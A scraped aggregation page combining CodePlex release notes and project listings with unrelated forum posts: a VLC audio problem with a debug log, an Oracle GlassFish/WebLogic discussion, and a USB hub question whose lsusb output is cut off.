remote debugging...JayData - The cross-platform HTML5 data-management library for JavaScript: JayData 1.0 RC1 Refresh 1: JayData 1.0.0 RC1 Refresh 1 JayData is a unified data access API to webSQL, indexedDB, OData, Facebook and YQL. Overview The major feature of this release is related to OData provider, FunctionImport is now generally supported. Now you can consume OData service operations (WebMethods). We extended the JaySvcUtil to generate the necessary metadata. We included many fixes, such as the Visual Studio 2010 IntelliSense optimalization (RC1 was optimized only to VS11). It's recommended to upgrade...AD Gallery: AD Gallery 1.2.7: NewsFixed a bug which caused the current thumbnail not to be highlighted Added a hook to take complete control over how descriptions are handled, take a look under Documentation for more info Added removeAllImages()51Degrees.mobi - Mobile Device Detection and Redirection: 2.1.4.8: One Click Install from NuGet Data ChangesIncludes 42 new browser properties in both the Lite and Premium data sets. Premium Data includes many new devices including Nokia Lumia 900, BlackBerry 9220 and HTC One, the Samsung Galaxy Tab 2 range and Samsung Galaxy S III. Lite data includes devices released in January 2012. Changes to Version 2.1.4.81. The IsFirstTime method of the RedirectModule will now return the same value when called multiple times for the same request. This was prevent...Mugen Injection: Mugen Injection ver 2.2 (WinRT supported): Added NamedParameterAttribute, OptionalParameterAttribute. Added behaviors ICycleDependencyBehavior, IResolveUnregisteredTypeBehavior. Added WinRT support. Added support for NET 4.5. Added support for MVC 4.NShape - .Net Diagramming Framework for Industrial Applications: NShape 2.0.1: Changes in 2.0.1:Bugfixes: IRepository.Insert(Shape shape) and IRepository.Insert(IEnumerable<Shape> shapes) no longer insert shape connections. Several context menu items did display although the required permission was not granted Display did not reset the visible and active layers when changing the diagram NullReferenceException when pressing Del key and no shape was selected Changed Behavior: LayerCollection.Find("") no longer throws an exception. Improvements: Display does not rese...AcDown????? - Anime&Comic Downloader: AcDown????? v3.11.6: ?? ●AcDown??????????、??、??????，????1M，????，????，?????????????????????????。???????????Acfun、????(Bilibili)、??、??、YouTube、??、???、??????、SF????、????????????。??????AcPlay?????，??????、????????????????。 ● AcDown???????????????????????????，???，???????????????????。 ● AcDown???????C#??，????.NET Framework 2.0??。?????"Acfun?????"。 ????32??64? Windows XP/Vista/7/8 ????????????? ??：????????Windows XP???,?????????.NET Framework 2.0???(x86)，?????"?????????"??? ??????????????，??????????： ??"AcDo...sb0t: sb0t 4.64: New commands added: #scribble <url> #adminscribble on #adminscribble offDocument.Editor: 2012.4: Whats new for Document.Editor 2012.4: Improved Template support Improved Options Dialog Minor Bug Fix's, improvements and speed upsJson.NET: Json.NET 4.5 Release 5: New feature - Added ItemIsReference, ItemReferenceLoopHandling, ItemTypeNameHandling, ItemConverterType to JsonPropertyAttribute New feature - Added ItemRequired to JsonObjectAttribute New feature - Added Path to JsonWriterException Change - Improved deserializer call stack memory usage Change - Moved the PDB files out of the NuGet package into a symbols package Fix - Fixed infinite loop from an input error when reading an array and error handling is enabled Fix - Fixed base objec...BlackJumboDog: Ver5.6.1: 2012.05.07 Ver5.6.1 (1)????????????????(Ver5.6.0??)??? (2)HTTP?????SSL????????????（Ver5.6.0??）??? (3)HTTP?????2G??????????????????????????? (4)HTP????　?????????ExtAspNet: ExtAspNet v3.1.5: ExtAspNet - ?? ExtJS ??? ASP.NET 2.0 ???，????? AJAX ?????????? ExtAspNet ????? ExtJS ??? ASP.NET 2.0 ???，????? AJAX ??????????。 ExtAspNet ??????? JavaScript，?? CSS，?? UpdatePanel，?? ViewState，?? WebServices ???????。 ??????: IE 7.0, Firefox 3.6, Chrome 3.0, Opera 10.5, Safari 3.0+ ????：Apache License 2.0 (Apache) ??：http://extasp.net/ ??：http://bbs.extasp.net/ ??：http://extaspnet.codeplex.com/ ??：http://sanshi.cnblogs.com/ ????： +2012-05-06 v3.1.5 -????????：grid/grid_twogrid.aspx。 +?...SharpDevelop: SharpDevelop 4.2: Please see http://community.sharpdevelop.net/forums/t/15772.aspx for the release announcement.Desktop Google Reader: 1.4.4: Taskbar icon overlay (number of unread items) can now be switched off in preferences (Windows Vista / 7 only) Maximize button now can be toggled to be fullscreen (as befor) or only normal maximize (taskbar stays visible) in preferences List of feeds is now sorted by alphabetNew Projects3D Scene Editor: A generic 3d level editor built using XNA to speed up designing and building game levels.Attribute Based Cache using Unity Interception: Unity interception handler attribute for Caching which allows to apply boiler plate caching pattern to classes, and class members directly, without configuring them in the application configuration file. Configure your choice of Cache Provider (ObjectCache, Azure included) in the Unity IoC Container and apply the attribute to the method which you want to cache AutoCompleteBox for WinRT: None yetBAC2 Bachelor's Thesis Source Code: The source code of my Bachelor's ThesisBAMabase: It's a bamabase.BBSProject: BBSProjectBrain 2 - Game Engine: Brain 2 is a Game Engine that runs on multiple platforms.cobra-winldtp: Cobra - Windows version of Linux Desktop Testing Project (WinLDTP) - http://ldtp.freedesktop.org LDTP is a GUI test automation tool works on both Windows and Linux platform Windows GUI test automation tool written in C# and test scripts can be written in Python for now. Ruby API will be added soon.CS322: C# Programski jezikDoxBotPlugin: The DoxBotPlugin is a Plug-In for Ice-Chat9 that allows a user to use Icechat9 as both a normal IRC client and to switch on bot mode in certain channels to have DoxBotPlugin act on their behalf.dycom: DYCom??(DY Communication)???????????,?????????????????.????????????????. ??????????????????????,?????????????????。Eyes Protector: PL: Program pomagajacy w ochronie oczu przed przemeczeniem zwiazanym ze zbyt dluga praca przy komputerze. EN: ---kshell: ????Linux??????Lumia: This is Lumia project.MacroDoc: MacroDoc is an engine written in C# for composing documents from reusable pieces of structure and content.Mssql: This is Sql Server project.NETMF_for_STM32: This is the Codeplex project for NETMF for STM32 (F4 Edition). Ocular - a free, open source WYSIWYG editor for HTML: Ocular is a free C# WYSIWYG HTML editor, similar to Adobe Dreamweaver. We are always looking for contributors, so please help us!PeopleCredit: Prototype web service to maintain all employee credits.Project Server workflow: This workflow creates the project site for Basic project plan EPT when workflow task is approved.(This is the correction done over the Branching workflow provided with Project Server 2010 SDK). Workflow task is created using PSWApprovalTask Content type in Project Server Workflow Task List. Quick Reminder: PL: Program pomagajacy zapisac szybkie przypomnienia podczas pracy przy komputerze. EN: ---Random Projects: My random projects...Recommendation Engine Demo: How does the Amazon recommendation works? This is about visualizing the item to item collaborations filtering mechanism using a item-to-item matrix table. The item-to-item matrix, the vectors and the calculated data values are displayed. There are n different items and the item recommendation can display up to m items. There are implemented different item-to-item neighborhood functions. A simple max count of seen neighbor items, the Cosine Similarity and the Jaccard Index. A t...SaveSeaTurtle: Sea TurtleSharpGpx: SharpGpx implements an object model for reading and writing GPX (GPS eXchange Format).SlimDo: SlimDo is a scripting language coded in C#Spring: This is Spring.Net projectSQL Server Quick Tools Pack: SQL Server Quick Tools Pack for your sql server SuLD framework: Supported Link Discovery framework (SuLD) is a tool to discover links to multiple Linked Data datasets. Finding is supported by various features like synonym module or autocomplete.TQuery.Net: .Net??????WAAP - World of warcraft Auction house Analysis Project: A project in which we try to analyse prices and auctioneers on the various World of Warcraft Auction housesxhttp.net: The Xhttp.Net framework is a dotnet implementation of the Extended Hypertext Transfer Protocol (http://www.xhttp.org), with simple service integration, full arguments support including Base64 and DateTime, single and multiple asynchronous requests, data streaming, remote API creation from XHTTP service schemas, and a runtime plugin architecture.

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• VLC 2.0.3 on Lubuntu 12.04: No audio?

  - by drezabek

  I am on Lubuntu 12.04, and I have installed VLC media player version 2.0.3. When I try and play an audio file, it appears to load fine, and the media position bar displays the progress, and it says it is playing, but I can't here any thing through my speakers. I can hear game audio, web audio, and audio from SMPlayer just fine, but with VLC, I can't here anything. Below is the "Messages" output with the verbosity option set to "2 (debug)" main debug: processing request item: The Bottom, node: Playlist, skip: 0 main debug: resyncing on The Bottom main debug: The Bottom is at 0 main debug: starting playback of the new playlist item main debug: resyncing on The Bottom main debug: The Bottom is at 0 main debug: creating new input thread main debug: Creating an input for 'The Bottom' main debug: TIMER input launching for 'Floex - Machinarium Soundtrack - 01 The Bottom.flac' : 23.706 ms - Total 23.706 ms / 1 intvls (Avg 23.706 ms) main debug: using timeshift granularity of 50 MiB, in path '/tmp' main debug: `file:///home/doug/Music/unsorted/Floex%20-%20Machinarium%20Soundtrack/Floex%20-%20Machinarium%20Soundtrack%20-%2001%20The%20Bottom.flac' gives access `file' demux `' path `/home/doug/Music/unsorted/Floex%20-%20Machinarium%20Soundtrack/Floex%20-%20Machinarium%20Soundtrack%20-%2001%20The%20Bottom.flac' main debug: creating demux: access='file' demux='' location='/home/doug/Music/unsorted/Floex%20-%20Machinarium%20Soundtrack/Floex%20-%20Machinarium%20Soundtrack%20-%2001%20The%20Bottom.flac' file='/home/doug/Music/unsorted/Floex - Machinarium Soundtrack/Floex - Machinarium Soundtrack - 01 The Bottom.flac' main debug: looking for access_demux module: 3 candidates main debug: no access_demux module matching "file" could be loaded main debug: TIMER module_need() : 2.332 ms - Total 2.332 ms / 1 intvls (Avg 2.332 ms) main debug: creating access 'file' location='/home/doug/Music/unsorted/Floex%20-%20Machinarium%20Soundtrack/Floex%20-%20Machinarium%20Soundtrack%20-%2001%20The%20Bottom.flac', path='/home/doug/Music/unsorted/Floex - Machinarium Soundtrack/Floex - Machinarium Soundtrack - 01 The Bottom.flac' main debug: looking for access module: 2 candidates filesystem debug: opening file `/home/doug/Music/unsorted/Floex - Machinarium Soundtrack/Floex - Machinarium Soundtrack - 01 The Bottom.flac' main debug: using access module "filesystem" main debug: TIMER module_need() : 0.762 ms - Total 0.762 ms / 1 intvls (Avg 0.762 ms) main debug: Using stream method for AStream* main debug: starting pre-buffering main debug: received first data after 0 ms main debug: pre-buffering done 1024 bytes in 0s - 43478 KiB/s main debug: looking for stream_filter module: 7 candidates main debug: no stream_filter module matching "any" could be loaded main debug: TIMER module_need() : 0.236 ms - Total 0.236 ms / 1 intvls (Avg 0.236 ms) main debug: looking for stream_filter module: 1 candidate main debug: using stream_filter module "stream_filter_record" main debug: TIMER module_need() : 0.156 ms - Total 0.156 ms / 1 intvls (Avg 0.156 ms) main debug: creating demux: access='file' demux='' location='/home/doug/Music/unsorted/Floex%20-%20Machinarium%20Soundtrack/Floex%20-%20Machinarium%20Soundtrack%20-%2001%20The%20Bottom.flac' file='/home/doug/Music/unsorted/Floex - Machinarium Soundtrack/Floex - Machinarium Soundtrack - 01 The Bottom.flac' main debug: looking for demux module: 54 candidates flacsys debug: Picture type=3 mime=image/png description='' file length=679371 qt4 debug: IM: Setting an input main debug: looking for packetizer module: 21 candidates main debug: using packetizer module "packetizer_flac" main debug: TIMER module_need() : 0.211 ms - Total 0.211 ms / 1 intvls (Avg 0.211 ms) main debug: using demux module "flacsys" main debug: TIMER module_need() : 4.023 ms - Total 4.023 ms / 1 intvls (Avg 4.023 ms) main debug: looking for a subtitle file in /home/doug/Music/unsorted/Floex - Machinarium Soundtrack/ main debug: looking for meta reader module: 2 candidates main debug: using meta reader module "taglib" main debug: TIMER module_need() : 5.245 ms - Total 5.245 ms / 1 intvls (Avg 5.245 ms) main debug: removing module "taglib" main debug: `file:///home/doug/Music/unsorted/Floex%20-%20Machinarium%20Soundtrack/Floex%20-%20Machinarium%20Soundtrack%20-%2001%20The%20Bottom.flac' successfully opened main debug: selecting program id=0 main debug: looking for decoder module: 30 candidates main debug: using decoder module "flac" main debug: TIMER module_need() : 0.442 ms - Total 0.442 ms / 1 intvls (Avg 0.442 ms) main debug: Buffering 0% flac debug: decode STREAMINFO flac debug: channels:2 samplerate:44100 bitspersamples:16 flac debug: STREAMINFO decoded main debug: Buffering 30% main debug: recycling audio output main debug: looking for audio output module: 3 candidates main debug: Buffering 61% pulse debug: using stereo channel map pulse debug: using library version 1.1.0 pulse debug: (compiled with version 1.1.0, protocol 26) main debug: Buffering 92% main debug: Stream buffering done (371 ms in 2 ms) pulse debug: connected locally to unix:/home/doug/.pulse/dce22254e867f905188a2ce200000003-runtime/native as client #14 pulse debug: using protocol 26, server protocol 26 pulse debug: using buffer metrics: maxlength=4194304, tlength=9880, prebuf=0, minreq=3528 pulse debug: connected to sink 0: alsa_output.pci-0000_00_14.2.analog-stereo main debug: using audio output module "pulse" main debug: TIMER module_need() : 4.571 ms - Total 4.571 ms / 1 intvls (Avg 4.571 ms) main debug: output 's16l' 44100 Hz Stereo frame=1 samples/4 bytes main debug: mixer 'f32l' 44100 Hz Stereo frame=1 samples/8 bytes main debug: filter(s) 'f32l'->'s16l' 44100 Hz->44100 Hz Stereo->Stereo main debug: looking for audio filter module: 14 candidates audio_format debug: f32l->s16l, bits per sample: 32->16 main debug: using audio filter module "audio_format" main debug: TIMER module_need() : 0.187 ms - Total 0.187 ms / 1 intvls (Avg 0.187 ms) main debug: conversion pipeline completed main debug: looking for audio mixer module: 2 candidates main debug: using audio mixer module "float32_mixer" main debug: TIMER module_need() : 0.125 ms - Total 0.125 ms / 1 intvls (Avg 0.125 ms) main debug: input 's16l' 44100 Hz Stereo frame=1 samples/4 bytes main debug: looking for audio filter module: 1 candidate scaletempo debug: format: 44100 rate, 2 nch, 4 bps, fl32 scaletempo debug: params: 30 stride, 0.200 overlap, 14 search scaletempo debug: 1.000 scale, 1323.000 stride_in, 1323 stride_out, 1059 standing, 264 overlap, 617 search, 2204 queue, fl32 mode main debug: using audio filter module "scaletempo" main debug: TIMER module_need() : 0.233 ms - Total 0.233 ms / 1 intvls (Avg 0.233 ms) main debug: filter(s) 's16l'->'f32l' 44100 Hz->44100 Hz Stereo->Stereo pulse debug: listing sink alsa_output.pci-0000_00_14.2.analog-stereo (0): Built-in Audio Analog Stereo main debug: looking for audio filter module: 14 candidates audio_format debug: s16l->f32l, bits per sample: 16->32 main debug: using audio filter module "audio_format" main debug: TIMER module_need() : 0.147 ms - Total 0.147 ms / 1 intvls (Avg 0.147 ms) main debug: conversion pipeline completed pulse debug: base volume: 65536 main debug: looking for audio filter module: 1 candidate equalizer debug: equalizer loaded for 44100 Hz with 10 bands 2 pass equalizer debug: 60 Hz -> factor:0.000000 alpha:0.003013 beta:0.993973 gamma:1.993901 equalizer debug: 170 Hz -> factor:0.000000 alpha:0.008490 beta:0.983019 gamma:1.982437 equalizer debug: 310 Hz -> factor:0.000000 alpha:0.015374 beta:0.969252 gamma:1.967331 equalizer debug: 600 Hz -> factor:0.000000 alpha:0.029328 beta:0.941343 gamma:1.934254 equalizer debug: 1000 Hz -> factor:0.000000 alpha:0.047918 beta:0.904163 gamma:1.884869 equalizer debug: 3000 Hz -> factor:0.000000 alpha:0.130408 beta:0.739184 gamma:1.582718 equalizer debug: 6000 Hz -> factor:0.000000 alpha:0.226555 beta:0.546889 gamma:1.015267 equalizer debug: 12000 Hz -> factor:0.000000 alpha:0.344937 beta:0.310127 gamma:-0.181410 equalizer debug: 14000 Hz -> factor:0.000000 alpha:0.366438 beta:0.267123 gamma:-0.521151 equalizer debug: 16000 Hz -> factor:0.000000 alpha:0.379009 beta:0.241981 gamma:-0.808451 main debug: using audio filter module "equalizer" main debug: TIMER module_need() : 0.353 ms - Total 0.353 ms / 1 intvls (Avg 0.353 ms) main debug: filter(s) 'f32l'->'f32l' 44100 Hz->44100 Hz Stereo->Stereo main debug: conversion pipeline completed main debug: looking for visualization2 module: 1 candidate main debug: looking for text renderer module: 2 candidates freetype debug: Building font databases. freetype debug: Took 0 microseconds freetype debug: Using Serif Bold as font from file /usr/share/fonts/truetype/ttf-dejavu/DejaVuSans.ttf freetype debug: using fontsize: 2 main debug: using text renderer module "freetype" main debug: TIMER module_need() : 3.278 ms - Total 3.278 ms / 1 intvls (Avg 3.278 ms) main debug: looking for video filter2 module: 18 candidates swscale debug: 32x32 chroma: YUVA -> 16x16 chroma: RGBA with scaling using Bicubic (good quality) main debug: using video filter2 module "swscale" main debug: TIMER module_need() : 1.037 ms - Total 1.037 ms / 1 intvls (Avg 1.037 ms) main debug: looking for video filter2 module: 18 candidates yuvp debug: YUVP to YUVA converter main debug: using video filter2 module "yuvp" main debug: TIMER module_need() : 0.156 ms - Total 0.156 ms / 1 intvls (Avg 0.156 ms) main debug: Deinterlacing available main debug: deinterlace 0, mode blend, is_needed 0 main debug: Opening vout display wrapper main debug: looking for vout display module: 6 candidates main debug: looking for vout window xid module: 4 candidates qt4 debug: requesting video... qt4 debug: Video was requested 0, 0 main debug: using vout window xid module "qt4" main debug: TIMER module_need() : 61.671 ms - Total 61.671 ms / 1 intvls (Avg 61.671 ms) main debug: looking for inhibit module: 2 candidates main debug: using inhibit module "xdg_screensaver" main debug: TIMER module_need() : 0.336 ms - Total 0.336 ms / 1 intvls (Avg 0.336 ms) xdg_screensaver debug: started xdg-screensaver (PID = 6682) xcb_xv debug: connected to X11.0 server xcb_xv debug: vendor : The X.Org Foundation xcb_xv debug: version: 11103000 xcb_xv debug: using screen 0x15a xcb_xv debug: using XVideo extension v2.2 xcb_xv debug: using adaptor NV17 Video Texture xcb_xv debug: using port 310 xcb_xv debug: using image format 0x30323449 xcb_xv debug: using X11 visual ID 0x21 (depth: 24) xcb_xv debug: using X11 window 0x03400000 xcb_xv debug: using X11 graphic context 0x03400002 main debug: VoutDisplayEvent 'fullscreen' 0 main debug: VoutDisplayEvent 'resize' 800x500 window main debug: using vout display module "xcb_xv" main debug: TIMER module_need() : 69.890 ms - Total 69.890 ms / 1 intvls (Avg 69.890 ms) main debug: original format sz 800x500, of (0,0), vsz 800x500, 4cc I420, sar 1:1, msk r0x0 g0x0 b0x0 main debug: removing module "freetype" main debug: looking for text renderer module: 2 candidates freetype debug: Building font databases. freetype debug: Took 0 microseconds freetype debug: Using Serif Bold as font from file /usr/share/fonts/truetype/ttf-dejavu/DejaVuSans.ttf freetype debug: using fontsize: 2 main debug: using text renderer module "freetype" main debug: TIMER module_need() : 4.552 ms - Total 4.552 ms / 1 intvls (Avg 4.552 ms) main debug: using visualization2 module "visual" main debug: TIMER module_need() : 84.104 ms - Total 84.104 ms / 1 intvls (Avg 84.104 ms) main debug: filter(s) 'f32l'->'f32l' 44100 Hz->44100 Hz Stereo->Stereo main debug: conversion pipeline completed main debug: filter(s) 'f32l'->'f32l' 44100 Hz->44100 Hz Stereo->Stereo main debug: conversion pipeline completed main debug: filter(s) 'f32l'->'f32l' 48510 Hz->44100 Hz Stereo->Stereo main debug: looking for audio filter module: 14 candidates main debug: using audio filter module "samplerate" main debug: TIMER module_need() : 0.375 ms - Total 0.375 ms / 1 intvls (Avg 0.375 ms) main debug: conversion pipeline completed main debug: End of audio preroll main debug: Decoder buffering done in 91 ms main warning: PTS is out of range (-9269), dropping buffer pulse debug: deferring start (190703 us) main debug: looking for video blending module: 1 candidate main debug: using video blending module "blend" main debug: TIMER module_need() : 0.275 ms - Total 0.275 ms / 1 intvls (Avg 0.275 ms) main debug: Detected interlaced video main debug: deinterlace 0, mode blend, is_needed 1 xcb_xv debug: display is visible pulse debug: starting deferred pulse warning: too late by 93760 us pulse debug: changed sample rate to 44186 Hz pulse debug: started pulse warning: too late by 94474 us pulse debug: changed sample rate to 44229 Hz pulse warning: too late by 93532 us pulse debug: changed sample rate to 44272 Hz pulse warning: too late by 92829 us pulse debug: changed sample rate to 44315 Hz pulse warning: too late by 92132 us pulse debug: changed sample rate to 44358 Hz xcb_xv debug: display is visible pulse warning: too late by 91534 us pulse debug: changed sample rate to 44401 Hz xcb_xv debug: display is visible pulse warning: too late by 89482 us pulse debug: changed sample rate to 44440 Hz xcb_xv debug: display is visible xcb_xv debug: display is visible pulse warning: too late by 87529 us pulse debug: changed sample rate to 44479 Hz pulse warning: too late by 84577 us pulse debug: changed sample rate to 44504 Hz main debug: auto hiding mouse cursor pulse warning: too late by 78562 us pulse debug: changed sample rate to 44492 Hz pulse warning: too late by 68015 us pulse debug: changed sample rate to 44422 Hz xcb_xv debug: display is visible xcb_xv debug: display is visible xcb_xv debug: display is visible xcb_xv debug: display is visible main debug: auto hiding mouse cursor pulse debug: changed sample rate to 44336 Hz xcb_xv debug: display is visible xcb_xv debug: display is visible xcb_xv debug: display is visible main debug: auto hiding mouse cursor I have had issues with VLC in the past- the audio quality was extremely crackly, as if the headphone jack was plugged in only half way, and the sounds were extremely sharp and caused my speakers to make a ringing/vibrating noise... It would eventually start working after I messed around with the audio settings, but it happened every restart. I eventually switched to SMPlayer, but now I need some of the features that VLC offers, but I still can't use VLC. At this point, the audio can not be heard at all, and the method I used before, messing around with the audio settings, isn't getting me anywhere. (note, I reposted this on VideoLan's forums, link is here: http://forum.videolan.org/viewtopic.php?f=13&t=104726) Please let me know if you need more information, or are confused by something I posted! Thanks!

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• Glassfish alive or dead? WebLogic SE cost is less than Glassfish!

  - by JuergenKress

  Is a hot discussion in the community in the last few days! Send us your opinion on tiwtter @wlscommunity #Glassfish #WebLogicCommunity We posted theGlassFishStrategy.pptx at our WebLogic Community Workspace (WebLogic Community membership required). Please read also the Java EE and GlassFish Server Roadmap Update Bruno Borges ?Another great article covering story about #GlassFish. Comments starting to be reasonable ;-) 6 facts helped a lot http://adtmag.com/articles/2013/11/08/oracle-drops-glassfish.aspx … Adam Bien ?What Oracle Could Do For GlassFish Now: Move the sources to GitHub (GitHub is the most popular collaboration p... http://bit.ly/1d1uo24 JAXenter.com ?Oracle evangelist: “GlassFish Open Source Edition is not dead” http://jaxenter.com/oracle-evangelist-glassfish-open-source-edition-is-not-dead-48830.html … GlassFish 6 Facts About #GlassFish Announcement and the Future of #JavaEE http://bit.ly/1bbSVPf via @brunoborges David Blevins ?In support of our #GlassFish friends and open source in general: Feed the Fish http://www.tomitribe.com/blog/2013/11/feed-the-fish/ … #JavaEE #opensource #manifesto GlassFish ?GlassFish Server Open Source Edition 4.1 is scheduled for 2014. Version 5.0 as impl for #JavaEE8 https://blogs.oracle.com/theaquarium/entry/java_ee_and_glassfish_server … #Community focused C2B2 Consulting ?C2B2 continues to offer support for your operational #JEE applications running on #GlassFish http://blog.c2b2.co.uk/2013/11/oracle-dropping-commercial-support-of.html … #Java Markus Eisele ?RT @InfoQ: #GlassFish Commercial Edition is Dead http://bit.ly/17eFB0Z < at least they agree to my points... Adam Bien suggests: Move the sources to GitHub (GitHub is the most popular collaboration platform). It is more likely for an individual to contribute via GitHub, than the current infrastructure. Introduce a business friendlier license like e.g. the Apache license. Companies interesting in providing added value (and commercial support) on top of existing sources would appreciate it. Implement GitHub-based, open source, CI system with nightly builds. Introduce a transparent voting process / pull-request acceptance process. Release more frequently. Keep https://glassfish.java.net as the main hub. C2B2 offers Glassfish support by Steve Millidge Oracle have just announced that commercial support for GlassFish 4 will not be available from Oracle. In light of this announcement I thought I would put together some thoughts about how I see this development. I think the key word in this announcement is "commercial", nowhere does Oracle announce the "death of GlassFish" in contrary Oracle reaffirm; GlassFish Server Open Source Edition continues to be the strategic foundation for Java EE reference implementation going forward. And for developers, updates will be delivered as needed to continue to deliver a great developer experience for GlassFish Server Open Source Edition so GlassFish is not about to go away soon. In a similar fashion RedHat do not provide commercial support for WildFly and only provide commercial support for JBoss EAP. Admittedly JBoss EAP and WildFly are much closer together than GlassFish and WebLogic but WildFly and JBoss EAP are absolutely NOT the same thing. The key going forward to the viability of GlassFish as a production platform is how the GlassFish community develops; How often does the community release binary builds? How open is the community to bug fixes? How much engineering resource does Oracle commit to GlassFish? At this stage we just don't know the answers to these questions. If the GlassFish open source project continues on it's current trajectory without a commercial support offering then I don't see much of a problem. Oracle just have to work harder to sell migration paths to WebLogic in the same way as RedHat have to sell migration paths from WildFly to JBoss EAP. In the meantime C2B2 continues to offer support for your operational JEE applications running on GlassFish and we will endeavour to work with the community to get any bugs fixed. The key difference is we can no longer back our Expert Support with a support contract from Oracle for patches and fixes for any release greater than 3.x. Read the complete article here. 6 Facts About GlassFish Announcement By Bruno.Borges Fact #1 - GlassFish Open Source Edition is not dead GlassFish Server Open Source Edition will remain the reference implementation of Java EE. The current trunk is where an implementation for Java EE 8 will flourish, and this will become the future GlassFish 5.0. Calling "GlassFish is dead" does no good to the Java EE ecosystem. The GlassFish Community will remain strong towards the future of Java EE. Without revenue-focused mind, this might actually help the GlassFish community to shape the next version, and set free from any ties with commercial decisions. Fact #2 - OGS support is not over As I said before, GlassFish Server Open Source Edition will continue. Main change is that there will be no more future commercial releases of Oracle GlassFish Server. New and existing OGS 2.1.x and 3.1.x commercial customers will continue to be supported according to the Oracle Lifetime Support Policy. In parallel, I believe there's no other company in the Java EE business that offers commercial support to more than one build of a Java EE application server. This new direction can actually help customers and partners, simplifying decision through commercial negotiations. Fact #3 - WebLogic is not always more expensive than OGS Oracle GlassFish Server ("OGS") is a build of GlassFish Server Open Source Edition bundled with a set of commercial features called GlassFish Server Control and license bundles such as Java SE Support. OGS has at the moment of this writing the pricelist of U$ 5,000 / processor. One information that some bloggers are mentioning is that WebLogic is more expensive than this. Fact 3.1: it is not necessarily the case. The initial edition of WebLogic is called "Standard Edition" and falls into a policy where some “Standard Edition” products are licensed on a per socket basis. As of current pricelist, US$ 10,000 / socket. If you do the math, you will realize that WebLogic SE can actually be significantly more cost effective than OGS, and a customer can save money if running on a CPU with 4 cores or more for example. Quote from the price list: “When licensing Oracle programs with Standard Edition One or Standard Edition in the product name (with the exception of Java SE Support, Java SE Advanced, and Java SE Suite), a processor is counted equivalent to an occupied socket; however, in the case of multi-chip modules, each chip in the multi-chip module is counted as one occupied socket.” For more details speak to your Oracle sales representative - this is clearly at list price and every customer typically has a relationship with Oracle (like they do with other vendors) and different contractual details may apply. And although OGS has always been production-ready for Java EE applications, it is no secret that WebLogic has always been more enterprise, mission critical application server than OGS since BEA. Different editions of WLS provide features and upgrade irons like the WebLogic Diagnostic Framework, Work Managers, Side by Side Deployment, ADF and TopLink bundled license, Web Tier (Oracle HTTP Server) bundled licensed, Fusion Middleware stack support, Oracle DB integration features, Oracle RAC features (such as GridLink), Coherence Management capabilities, Advanced HA (Whole Service Migration and Server Migration), Java Mission Control, Flight Recorder, Oracle JDK support, etc. Fact #4 - There’s no major vendor supporting community builds of Java EE app servers There are no major vendors providing support for community builds of any Open Source application server. For example, IBM used to provide community support for builds of Apache Geronimo, not anymore. Red Hat does not commercially support builds of WildFly and if I remember correctly, never supported community builds of former JBoss AS. Oracle has never commercially supported GlassFish Server Open Source Edition builds. Tomitribe appears to be the exception to the rule, offering commercial support for Apache TomEE. Fact #5 - WebLogic and GlassFish share several Java EE implementations It has been no secret that although GlassFish and WebLogic share some JSR implementations (as stated in the The Aquarium announcement: JPA, JSF, WebSockets, CDI, Bean Validation, JAX-WS, JAXB, and WS-AT) and WebLogic understands GlassFish deployment descriptors, they are not from the same codebase. Fact #6 - WebLogic is not for GlassFish what JBoss EAP is for WildFly WebLogic is closed-source offering. It is commercialized through a license-based plus support fee model. OGS although from an Open Source code, has had the same commercial model as WebLogic. Still, one cannot compare GlassFish/WebLogic to WildFly/JBoss EAP. It is simply not the same case, since Oracle has had two different products from different codebases. The comparison should be limited to GlassFish Open Source / Oracle GlassFish Server versus WildFly / JBoss EAP. Read the complete article here WebLogic Partner Community For regular information become a member in the WebLogic Partner Community please visit: http://www.oracle.com/partners/goto/wls-emea ( OPN account required). If you need support with your account please contact the Oracle Partner Business Center. Blog Twitter LinkedIn Mix Forum Wiki Technorati Tags: Glassfish,training,WebLogic,WebLogic Community,Oracle,OPN,Jürgen Kress

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• USB Hub and Ubuntu

  - by aserwin

  I have a powered 7 port hub connected to my Ubuntu box and it does nothing. The devices (zip drive and web cam) work direct, but aren't recognized through the hub. This worked fine in Windows 7. I can't prove it is the OS because this is a new motherboard and processor. Any advice? EDIT : Output from lsusb -v Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 9 Hub bDeviceSubClass 0 Unused bDeviceProtocol 0 Full speed (or root) hub bMaxPacketSize0 64 idVendor 0x1d6b Linux Foundation idProduct 0x0002 2.0 root hub bcdDevice 3.02 iManufacturer 3 Linux 3.2.0-32-generic ehci_hcd iProduct 2 EHCI Host Controller iSerial 1 0000:00:12.2 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 25 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0xe0 Self Powered Remote Wakeup MaxPower 0mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 1 bInterfaceClass 9 Hub bInterfaceSubClass 0 Unused bInterfaceProtocol 0 Full speed (or root) hub iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0004 1x 4 bytes bInterval 12 Hub Descriptor: bLength 9 bDescriptorType 41 nNbrPorts 5 wHubCharacteristic 0x000a No power switching (usb 1.0) Per-port overcurrent protection bPwrOn2PwrGood 10 * 2 milli seconds bHubContrCurrent 0 milli Ampere DeviceRemovable 0x00 PortPwrCtrlMask 0xff Hub Port Status: Port 1: 0000.0100 power Port 2: 0000.0503 highspeed power enable connect Port 3: 0000.0100 power Port 4: 0000.0100 power Port 5: 0000.0100 power Device Status: 0x0001 Self Powered Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 9 Hub bDeviceSubClass 0 Unused bDeviceProtocol 0 Full speed (or root) hub bMaxPacketSize0 64 idVendor 0x1d6b Linux Foundation idProduct 0x0002 2.0 root hub bcdDevice 3.02 iManufacturer 3 Linux 3.2.0-32-generic ehci_hcd iProduct 2 EHCI Host Controller iSerial 1 0000:00:13.2 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 25 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0xe0 Self Powered Remote Wakeup MaxPower 0mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 